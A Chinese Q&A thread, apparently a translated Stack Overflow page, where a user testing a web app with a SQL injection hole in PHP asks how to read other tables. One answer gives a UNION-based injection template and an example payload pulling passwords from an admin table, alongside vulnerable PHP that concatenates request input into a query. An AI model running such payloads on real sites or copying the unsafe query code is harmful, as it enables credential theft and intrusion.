0

我想知道是否可以覆盖 SQL 查询的 Where 子句中的列值(在我的例子中是 MySQL)。

为了更清楚,这里有一个例子:

假设一个基本查询是:

SELECT lastname, firstname FROM contacts WHERE lastname = "Doe";

是否可以通过修改 WHERE 部分之后的内容来强制lastname并从其他表返回值?firstname就像是

SELECT lastname, firstname FROM contacts WHERE lastname = (SELECT name FROM companies);

我目前正在测试一个 Web 应用程序,我发现了一个 SQL 注入缺陷,我可以在其中更改Doe为我想要的任何内容,但我仅限于一个查询(PHP 的 mysql_query 限制)和addslashes(所以没有“和”)。

4

2 回答 2

5

可能是

SELECT lastname, firstname FROM contacts WHERE lastname = "{0}" UNION SELECT {1} --

其中 {0} 个不存在的值和 {1} 个来自其他表的数据

来自 wiki 示例的更新

$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");

变得

SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')
于 2012-11-05T19:29:42.143 回答
0

您在SELECT ... WHERE子句中使用的语法是称为子查询的标准 SQL 功能。

在您的示例的上下文中,子查询有一个限制,只能返回单个值。否则,您的查询是有效的 SQL,您可以使用如下运算符更改子查询以返回多个值(使用隐式 OR)IN

SELECT lastname, firstname FROM contacts 
 WHERE lastname IN (
                    SELECT name FROM companies
                   );

您可以深入研究此主题以发现相关子查询。

于 2012-11-05T19:47:36.940 回答